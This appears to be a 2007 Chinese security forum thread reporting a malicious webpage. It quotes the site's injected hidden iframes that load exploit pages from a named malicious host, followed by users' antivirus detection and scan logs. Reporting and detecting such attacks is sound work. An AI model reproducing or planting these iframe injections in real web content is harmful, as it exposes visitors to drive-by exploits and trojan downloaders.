毒网【转绅博】

1688388728

www.ctv163.com/wuhan/down.htm

曲中求

<iframe src="http://count28.5Iyes.com/feng/" width="100" height="0"> </iframe>  
<script src='http://s118.cnzz.com/stat.php?id=485251&web_id=485251' language='JavaScript' charset='gb2312'></script>
<iframe src="http://count28.5Iyes.com/feng/yahoo.html" width="100" height="0"> </iframe>

yashoo

咖啡灭之

yashoo

网页被指向了“源”http://count28.5Iyes.com/feng/yahoo.html那里

Whkroran

detected: malware Exploit.HTML.IframeBof        URL: http://count28.5iyes.com/feng/yahoo.html
detected: Trojan program Trojan-Downloader.JS.Agent.ie        Script: http://www.ctv163.com/wuhan/down.htm[1]
detected: Trojan program Trojan-Downloader.JS.Agent.ie        URL: http://count28.5iyes.com/feng/web.htm
detected: malware Exploit.Win32.IMG-ANI.am        URL: http://count28.5iyes.com/feng/vip.js
detected: malware Exploit.Win32.IMG-ANI.am        URL: http://count28.5iyes.com/feng/vips.js
detected: Trojan program Trojan-Downloader.JS.Small.cw        URL: http://count28.5iyes.com/feng/ActiveX.htm

hj5abc

2007-6-26 20:24:52 IMON file http://count28.5iyes.com/feng/vip.js a variant of Win32/TrojanDownloader.Ani.Gen trojan
2007-6-26 20:24:45 IMON file http://count28.5iyes.com/feng/yahoo.html HTML/Exploit.IframeBof trojan

小邪邪

报了两个

woai_jolin

2007/6/26 20:58:37        eAmon        file        C:\Users\Jason\AppData\Local\Temp\Temporary Internet Files\Content.IE5\SQXSNTLQ\vip[1].js        a variant of Win32/TrojanDownloader.Ani.Gen trojan        cleaned by deleting - quarantined                Event occurred during an attempt to access the file by the application: C:\Program Files\Internet Explorer\iexplore.exe.
2007/6/26 20:58:36        eAmon        file        C:\Users\Jason\AppData\Local\Temp\Temporary Internet Files\Content.IE5\SQXSNTLQ\vips[1].js        a variant of Win32/TrojanDownloader.Ani.Gen trojan        cleaned by deleting - quarantined                Event occurred during an attempt to access the file by the application: C:\Program Files\Internet Explorer\iexplore.exe.
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/vip.js        a variant of Win32/TrojanDownloader.Ani.Gen trojan        connection terminated        Jason-PC\Jason       
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/vips.js        a variant of Win32/TrojanDownloader.Ani.Gen trojan        connection terminated        Jason-PC\Jason       
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/yahoo.html        HTML/Exploit.IframeBof trojan        connection terminated        Jason-PC\Jason       
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/yahoo.html        HTML/Exploit.IframeBof trojan        connection terminated        Jason-PC\Jason       
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/yahoo.html        HTML/Exploit.IframeBof trojan        connection terminated        Jason-PC\Jason       
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/yahoo.html        HTML/Exploit.IframeBof trojan        connection terminated        Jason-PC\Jason       
2007/6/26 20:58:34        ePfw-Http        file        http://count28.5iyes.com/feng/yahoo.html        HTML/Exploit.IframeBof trojan        connection terminated        Jason-PC\Jason

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\vips.js'
C:\TDDOWNLOAD\
  vips.js
      [DETECTION] Contains signature of the exploits EXP/Ani.Gen
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\web.htm'
C:\TDDOWNLOAD\
  web.htm
Begin scan in 'C:\TDDOWNLOAD\yahoo.html'
C:\TDDOWNLOAD\
  yahoo.html
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Shelled.A
      [INFO]      The file was deleted!
Begin scan in 'C:\TDDOWNLOAD\ActiveX.htm'
C:\TDDOWNLOAD\
  ActiveX.htm
Begin scan in 'C:\TDDOWNLOAD\down.htm'
C:\TDDOWNLOAD\
  down.htm
Begin scan in 'C:\TDDOWNLOAD\vip.js'
C:\TDDOWNLOAD\
  vip.js
      [DETECTION] Contains signature of the exploits EXP/Ani.Gen
      [INFO]      The file was deleted!


End of the scan: 2007年6月26日  10:09
Used time: 00:08 min

The scan has been done completely.

      0 Scanning directories
      6 Files were scanned
      3 viruses and/or unwanted programs were found
      0 classified as suspicious:
      3 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      3 Files not concerned
      0 Archives were scanned
      0 Warnings
      0 Notes
      0 Hidden objects were found

appleyp123

截图如下: